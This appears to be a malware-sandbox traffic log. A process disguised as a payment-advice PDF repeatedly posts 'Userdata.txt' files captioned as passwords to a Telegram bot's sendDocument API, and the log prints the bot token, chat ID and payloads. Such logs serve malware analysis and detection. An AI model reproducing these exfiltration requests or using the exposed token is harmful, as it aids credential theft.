2024-12-17 07:43:42 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 32 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13694,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421422,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49834	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:45 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1fbc5054d7f6 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:45 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 66 62 63 35 30 35 34 64 37 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1fbc5054d7f6Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:46 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:46 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 32 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13695,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421426,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49844	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:48 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1fe54a740e43 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:48 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 66 65 35 34 61 37 34 30 65 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1fe54a740e43Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:49 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:49 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 32 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13696,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421429,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49852	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:52 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd2010a61c1fbb Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:52 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 31 30 61 36 31 63 31 66 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd2010a61c1fbbContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:52 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:52 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13697,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421432,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49861	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:55 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd203e5f0cc69e Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:55 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 33 65 35 66 30 63 63 36 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd203e5f0cc69eContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:56 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:56 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:56 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 33 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13698,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421436,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49871	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:59 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd20739cdded1d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:59 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 37 33 39 63 64 64 65 64 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd20739cdded1dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:59 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:59 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13699,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421439,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49880	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:44:02 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd20b042e931e1 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:44:02 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 62 30 34 32 65 39 33 31 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd20b042e931e1Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:44:02 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:44:02 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:44:02 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 34 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13700,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421442,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49890	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:44:05 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd20f1af2d3636 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:44:05 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 66 31 61 66 32 64 33 36 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd20f1af2d3636Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:44:06 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:44:06 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:44:06 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 34 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13701,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421446,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49899	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:44:09 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd214717f9b5d8 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
